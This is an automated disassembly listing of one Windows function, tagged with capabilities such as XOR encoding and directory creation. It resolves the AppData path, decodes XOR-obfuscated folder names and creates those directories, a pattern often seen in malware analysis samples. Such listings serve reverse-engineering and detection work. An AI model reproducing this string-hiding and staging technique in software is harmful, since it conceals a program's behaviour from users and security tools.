Function at 0x40fb40
Capabilities:
Check if file exists
Create directory
Encode data using xor
Get common file path
Get file attributes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x503ddb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x180
push esi
push edi
mov dword [ebp - 0x70], ecx
push 0x104
lea eax, [ebp - 0x190]
mov dword [ebp - 4], 0
push 0
push eax
call fcn.004df440
add esp, 0xc
lea eax, [ebp - 0x190]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov dword [ebp - 0x24], 0xc8cefbe5
xor ecx, ecx
mov dword [ebp - 0x20], 0x849fc7d5
mov dword [ebp - 0x1c], 0xb0a8b1a4
mov dword [ebp - 0x18], 0x100b6aa
lea eax, [ecx - 0x47]
xor byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 0xe
jb 0x40fbc7
xorps xmm0, xmm0
mov byte [ebp - 0x15], 0
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x44], 0
movups xmmword [ebp - 0x54], xmm0
mov dword [ebp - 0x40], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fbf3
sub ecx, edx
lea eax, [ebp - 0x24]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.004028a0
lea eax, [ebp - 0x54]
mov byte [ebp - 4], 1
push eax
lea edx, [ebp - 0x190]
lea ecx, [ebp - 0x6c]
call fcn.00469ec0
add esp, 4
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x40fc5a
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40fc50
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410975
push ecx
push edx
call fcn.004dd461
add esp, 8
cmp dword [ebp - 0x58], 0x10
lea esi, [ebp - 0x6c]
push 0x538280
cmovae esi, dword [ebp - 0x6c]
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.004dc762
add esp, 4
test eax, eax
jne 0x41097a
test esi, esi
je 0x4108db
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fca0
sub ecx, edx
je 0x4108db
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40fcd9
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x40fcd9
cmp eax, 0x20
je 0x40fcd9
cmp eax, 0x45
je 0x40fcd9
cmp eax, 0x24
jne 0x4108db
push 0x538280
call fcn.004dc773
add esp, 4
mov dword [ebp - 0x34], 0xc8cefbe5
mov dword [ebp - 0x30], 0x100c7d5
xor ecx, ecx
lea eax, [ecx - 0x47]
xor byte [ebp + ecx - 0x34], al
inc ecx
cmp ecx, 6
jb 0x40fcf6
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x2d], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fd10
mov edi, closesocket
sub ecx, edx
mov edx, dword [ebx + 0x18]
mov eax, edi
sub eax, edx
cmp eax, ecx
jb 0x410980
cmp dword [ebx + 0x1c], 0x10
lea eax, [ebx + 8]
push ecx
cmovae eax, dword [ebx + 8]
lea ecx, [ebp - 0x34]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x88]
call fcn.0046db90
mov byte [ebp - 4], 4
lea esi, [ebp - 0x88]
cmp dword [ebp - 0x74], 0x10
push 0x538280
cmovae esi, dword [ebp - 0x88]
call fcn.004dc762
add esp, 4
test eax, eax
jne 0x410985
test esi, esi
je 0x40fdc1
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fd81
sub ecx, edx
je 0x40fdc1
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40fdb2
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x40fdb2
cmp eax, 0x20
je 0x40fdb2
cmp eax, 0x45
je 0x40fdb2
cmp eax, 0x24
jne 0x40fdc1
push 0x538280
call fcn.004dc773
add esp, 4
jmp 0x40fdf0
push 0x538280
call fcn.004dc773
add esp, 4
lea eax, [ebp - 0x88]
cmp dword [ebp - 0x74], 0x10
cmovae eax, dword [ebp - 0x88]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x4108a2
mov dword [ebp - 0x38], 0xd8d5f3e5
xor ecx, ecx
mov dword [ebp - 0x34], 0xa4dac6d8
mov dword [ebp - 0x30], 0x1008085
lea eax, [ecx - 0x47]
xor byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 0xa
jb 0x40fe07
lea ecx, [ebp - 0x38]
mov byte [ebp - 0x2d], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fe20
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x5c]
sub eax, edx
cmp eax, ecx
jb 0x41098b
cmp dword [ebp - 0x58], 0x10
lea eax, [ebp - 0x6c]
push ecx
cmovae eax, dword [ebp - 0x6c]
lea ecx, [ebp - 0x38]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x54]
call fcn.0046db90
mov byte [ebp - 4], 5
lea esi, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
push 0x538280
cmovae esi, dword [ebp - 0x54]
call fcn.004dc762
add esp, 4
test eax, eax
jne 0x410990
test esi, esi
je 0x40fec4
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fe83
sub ecx, edx
je 0x40fec4
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40feb4
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x40feb4
cmp eax, 0x20
je 0x40feb4
cmp eax, 0x45
je 0x40feb4
cmp eax, 0x24
jne 0x40fec4
push 0x538280
call fcn.004dc773
mov byte [ebp - 0x11], 1
jmp 0x40fed2
push 0x538280
call fcn.004dc773
mov byte [ebp - 0x11], 0
mov byte [ebp - 4], 4
add esp, 4
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x40ff0d
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40ff03
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410996
push ecx
push edx
call fcn.004dd461
add esp, 8
cmp byte [ebp - 0x11], 0
je 0x41017b
mov dword [ebp - 0x38], 0xd8d5f3e5
xor ecx, ecx
mov dword [ebp - 0x34], 0xa4dac6d8
mov dword [ebp - 0x30], 0x1008085
nop
lea eax, [ecx - 0x47]
xor byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 0xa
jb 0x40ff30
lea ecx, [ebp - 0x38]
mov byte [ebp - 0x2d], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ff47
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x78]
sub eax, edx
cmp eax, ecx
jb 0x41099b
cmp dword [ebp - 0x74], 0x10
lea eax, [ebp - 0x88]
push ecx
cmovae eax, dword [ebp - 0x88]
lea ecx, [ebp - 0x38]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x54]
call fcn.0046db90
mov byte [ebp - 4], 6
lea esi, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
push 0x538280
cmovae esi, dword [ebp - 0x54]
call fcn.004dc762
add esp, 4
test eax, eax
jne 0x4109a0
test esi, esi
je 0x40fff0
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ffb0
sub ecx, edx
je 0x40fff0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40ffe1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x40ffe1
cmp eax, 0x20
je 0x40ffe1
cmp eax, 0x45
je 0x40ffe1
cmp eax, 0x24
jne 0x40fff0
push 0x538280
call fcn.004dc773
add esp, 4
jmp 0x410019
push 0x538280
call fcn.004dc773
add esp, 4
lea eax, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
cmovae eax, dword [ebp - 0x54]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x410143
sub esp, 0x18
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.00466110
mov byte [ebp - 4], 7
xor ecx, ecx
mov dword [ebp - 0x20], 0xd8d5f3e5
mov dword [ebp - 0x1c], 0xa4dac6d8
mov dword [ebp - 0x18], 0x1008085
nop dword [eax]
lea eax, [ecx - 0x47]
xor byte [ebp + ecx - 0x20], al
inc ecx
cmp ecx, 0xa
jb 0x410050
sub esp, 0x18
mov byte [ebp - 0x15], 0
mov esi, esp
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x30], esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410070
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x5c]
sub eax, edx
cmp eax, ecx
jb 0x4109a6
cmp dword [ebp - 0x58], 0x10
lea eax, [ebp - 0x6c]
push ecx
cmovae eax, dword [ebp - 0x6c]
lea ecx, [ebp - 0x20]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x30]
mov ecx, esi
call fcn.0046db90
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 6
call fcn.0040f520
add esp, 0x30
test eax, eax
jne 0x4100c3
mov eax, dword [ebp - 0x70]
mov byte [eax], 1
jmp 0x410143
cmp dword [ebp - 0x40], 0x10
lea edx, [ebp - 0x54]
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
cmovae edx, dword [ebp - 0x54]
mov ecx, edx
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4100e8
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x2c]
call fcn.004028a0
push ecx
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 8
call fcn.0040c0b0
mov byte [ebp - 4], 6
add esp, 4
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x410143
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410139
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4109ab
push ecx
push edx
call fcn.004dd461
add esp, 8
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x41017b
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410171
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4109b0
push ecx
push edx
call fcn.004dd461
add esp, 8
mov dword [ebp - 0x24], 0xdfd4f6e5
xor ecx, ecx
mov dword [ebp - 0x20], 0x939fd2dc
mov dword [ebp - 0x1c], 0xa5b1adb5
mov dword [ebp - 0x18], 0x100a3a2
nop dword [eax]
lea eax, [ecx - 0x47]
xor byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 0xe
jb 0x4101a0
lea ecx, [ebp - 0x24]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4101b7
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x5c]
sub eax, edx
cmp eax, ecx
jb 0x4109b5
cmp dword [ebp - 0x58], 0x10
lea eax, [ebp - 0x6c]
push ecx
cmovae eax, dword [ebp - 0x6c]
lea ecx, [ebp - 0x24]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x30]
lea ecx, [ebp - 0x54]
call fcn.0046db90
mov byte [ebp - 4], 9
lea esi, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
push 0x538280
cmovae esi, dword [ebp - 0x54]
call fcn.004dc762
add esp, 4
test eax, eax
jne 0x4109ba
test esi, esi
je 0x410261
mov ecx, esi
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410220
sub ecx, edx
je 0x410261
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x410251
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x410251
cmp eax, 0x20
je 0x410251
cmp eax, 0x45
je 0x410251
cmp eax, 0x24
jne 0x410261
push 0x538280
call fcn.004dc773
mov byte [ebp - 0x11], 1
jmp 0x41026f
push 0x538280
call fcn.004dc773
mov byte [ebp - 0x11], 0
mov byte [ebp - 4], 4
add esp, 4
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x4102aa
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4102a0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4109c0
push ecx
push edx
call fcn.004dd461
add esp, 8
cmp byte [ebp - 0x11], 0
je 0x41052b
mov dword [ebp - 0x24], 0xdfd4f6e5
xor ecx, ecx
mov dword [ebp - 0x20], 0x939fd2dc
mov dword [ebp - 0x1c], 0xa5b1adb5
mov dword [ebp - 0x18], 0x100a3a2
lea eax, [ecx - 0x47]
xor byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 0xe
jb 0x4102d2
lea ecx, [ebp - 0x24]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4102f0
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x78]
sub eax, edx
cmp eax, ecx
jb 0x4109c5
cmp dword [ebp - 0x74], 0x10
lea eax, [ebp - 0x88]
push ecx
cmovae eax, dword [ebp - 0x88]
lea ecx, [ebp - 0x24]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x30]
lea ecx, [ebp - 0x54]
call fcn.0046db90
mov byte [ebp - 4], 0xa
lea esi, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
push 0x538280
cmovae esi, dword [ebp - 0x54]
call fcn.004dc762
add esp, 4
test eax, eax
jne 0x4109ca
test esi, esi
je 0x4103a0
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410360
sub ecx, edx
je 0x4103a0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x410391
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x410391
cmp eax, 0x20
je 0x410391
cmp eax, 0x45
je 0x410391
cmp eax, 0x24
jne 0x4103a0
push 0x538280
call fcn.004dc773
add esp, 4
jmp 0x4103c9
push 0x538280
call fcn.004dc773
add esp, 4
lea eax, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
cmovae eax, dword [ebp - 0x54]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x4104f3
sub esp, 0x18
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x30], esp
mov ecx, esp
push eax
call fcn.00466110
mov byte [ebp - 4], 0xb
xor ecx, ecx
mov dword [ebp - 0x24], 0xdfd4f6e5
mov dword [ebp - 0x20], 0x939fd2dc
mov dword [ebp - 0x1c], 0xa5b1adb5
mov dword [ebp - 0x18], 0x100a3a2
lea eax, [ecx - 0x47]
xor byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 0xe
jb 0x410400
sub esp, 0x18
mov byte [ebp - 0x15], 0
mov esi, esp
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x3c], esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410420
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x5c]
sub eax, edx
cmp eax, ecx
jb 0x4109d0
cmp dword [ebp - 0x58], 0x10
lea eax, [ebp - 0x6c]
push ecx
cmovae eax, dword [ebp - 0x6c]
lea ecx, [ebp - 0x24]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x30]
mov ecx, esi
call fcn.0046db90
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0xa
call fcn.0040f520
add esp, 0x30
test eax, eax
jne 0x410473
mov eax, dword [ebp - 0x70]
mov byte [eax], 1
jmp 0x4104f3
cmp dword [ebp - 0x40], 0x10
lea edx, [ebp - 0x54]
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
cmovae edx, dword [ebp - 0x54]
mov ecx, edx
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410498
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x2c]
call fcn.004028a0
push ecx
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0xc
call fcn.0040c0b0
mov byte [ebp - 4], 0xa
add esp, 4
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x4104f3
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4104e9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4109d5
push ecx
push edx
call fcn.004dd461
add esp, 8
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x41052b
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410521
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4109da
push ecx
push edx
call fcn.004dd461
add esp, 8
movaps xmm0, xmmword [0x526e90]
xor ecx, ecx
movups xmmword [ebp - 0x26], xmm0
mov word [ebp - 0x16], 0x100
nop
lea eax, [ecx - 0x47]
xor byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 0x10
jb 0x410540
lea ecx, [ebp - 0x26]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410557
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x5c]
sub eax, edx
cmp eax, ecx
jb 0x4109df
cmp dword [ebp - 0x58], 0x10
lea eax, [ebp - 0x6c]
push ecx
cmovae eax, dword [ebp - 0x6c]
lea ecx, [ebp - 0x26]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x30]
lea ecx, [ebp - 0x54]
call fcn.0046db90
mov byte [ebp - 4], 0xd
lea esi, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
push 0x538280
cmovae esi, dword [ebp - 0x54]
call fcn.004dc762
add esp, 4
test eax, eax
jne 0x4109e4
test esi, esi
je 0x410601
mov ecx, esi
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4105c0
sub ecx, edx
je 0x410601
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4105f1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x4105f1
cmp eax, 0x20
je 0x4105f1
cmp eax, 0x45
je 0x4105f1
cmp eax, 0x24
jne 0x410601
push 0x538280
call fcn.004dc773
mov byte [ebp - 0x11], 1
jmp 0x41060f
push 0x538280
call fcn.004dc773
mov byte [ebp - 0x11], 0
mov byte [ebp - 4], 4
add esp, 4
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x41064a
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410640
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4109ea
push ecx
push edx
call fcn.004dd461
add esp, 8
cmp byte [ebp - 0x11], 0
je 0x4108a2
movaps xmm0, xmmword [0x526e90]
xor ecx, ecx
movups xmmword [ebp - 0x26], xmm0
mov word [ebp - 0x16], 0x100
lea eax, [ecx - 0x47]
xor byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 0x10
jb 0x410667
lea ecx, [ebp - 0x26]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410680
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x78]
sub eax, edx
cmp eax, ecx
jb 0x4109ef
cmp dword [ebp - 0x74], 0x10
lea eax, [ebp - 0x88]
push ecx
cmovae eax, dword [ebp - 0x88]
lea ecx, [ebp - 0x26]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x30]
lea ecx, [ebp - 0x54]
call fcn.0046db90
mov byte [ebp - 4], 0xe
lea esi, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
push 0x538280
cmovae esi, dword [ebp - 0x54]
call fcn.004dc762
add esp, 4
test eax, eax
jne 0x4109f4
test esi, esi
je 0x410730
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4106f0
sub ecx, edx
je 0x410730
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x410721
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x410721
cmp eax, 0x20
je 0x410721
cmp eax, 0x45
je 0x410721
cmp eax, 0x24
jne 0x410730
push 0x538280
call fcn.004dc773
add esp, 4
jmp 0x410759
push 0x538280
call fcn.004dc773
add esp, 4
lea eax, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
cmovae eax, dword [ebp - 0x54]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x41086e
sub esp, 0x18
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x30], esp
mov ecx, esp
push eax
call fcn.00466110
mov byte [ebp - 4], 0xf
xor ecx, ecx
movaps xmm0, xmmword [0x526e90]
movups xmmword [ebp - 0x26], xmm0
mov word [ebp - 0x16], 0x100
lea eax, [ecx - 0x47]
xor byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 0x10
jb 0x410785
sub esp, 0x18
mov byte [ebp - 0x15], 0
mov esi, esp
lea ecx, [ebp - 0x26]
mov dword [ebp - 0x3c], esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4107a4
sub ecx, edx
mov edx, dword [ebp - 0x5c]
sub edi, edx
cmp edi, ecx
jb 0x4109fa
cmp dword [ebp - 0x58], 0x10
lea edi, [ebp - 0x26]
push ecx
push edi
push edx
lea eax, [ebp - 0x6c]
cmovae eax, dword [ebp - 0x6c]
push eax
push ecx
push dword [ebp - 0x30]
mov ecx, esi
call fcn.0046db90
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0xe
call fcn.0040f520
add esp, 0x30
test eax, eax
jne 0x4107f2
mov eax, dword [ebp - 0x70]
mov byte [eax], 1
jmp 0x41086e
cmp dword [ebp - 0x40], 0x10
lea edx, [ebp - 0x54]
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
cmovae edx, dword [ebp - 0x54]
mov ecx, edx
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410817
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x2c]
call fcn.004028a0
push ecx
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x10
call fcn.0040c0b0
mov ecx, dword [ebp - 0x18]
add esp, 4
cmp ecx, 0x10
jb 0x41086e
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410864
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4109ff
push ecx
push edx
call fcn.004dd461
add esp, 8
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x4108a2
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410898
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410a04
push ecx
push edx
call fcn.004dd461
add esp, 8
mov ecx, dword [ebp - 0x74]
cmp ecx, 0x10
jb 0x4108e8
mov edx, dword [ebp - 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4108cf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410a09
push ecx
push edx
call fcn.004dd461
add esp, 8
jmp 0x4108e8
push 0x538280
call fcn.004dc773
add esp, 4
mov ecx, dword [ebp - 0x58]
cmp ecx, 0x10
jb 0x41091c
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410912
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410a0e
push ecx
push edx
call fcn.004dd461
add esp, 8
mov ecx, dword [ebx + 0x1c]
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0xf
mov byte [ebp - 0x6c], 0
cmp ecx, 0x10
jb 0x410962
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410958
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410a0e
push ecx
push edx
call fcn.004dd461
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004e2700
push eax
call fcn.004dc40b
call fcn.00402060
push eax
call fcn.004dc40b
call fcn.00402060
push eax
call fcn.004dc40b
call fcn.004e2700
call fcn.00402060
push eax
call fcn.004dc40b
call fcn.00402060
call fcn.004e2700
call fcn.004e2700
call fcn.00402060
push eax
call fcn.004dc40b
call fcn.004e2700
call fcn.00402060
push eax
call fcn.004dc40b
call fcn.00402060
call fcn.004e2700
call fcn.004e2700
call fcn.00402060
push eax
call fcn.004dc40b
call fcn.004e2700
call fcn.00402060
push eax
call fcn.004dc40b
call fcn.00402060
call fcn.004e2700
call fcn.004e2700
call fcn.004e2700
call fcn.004e2700
int3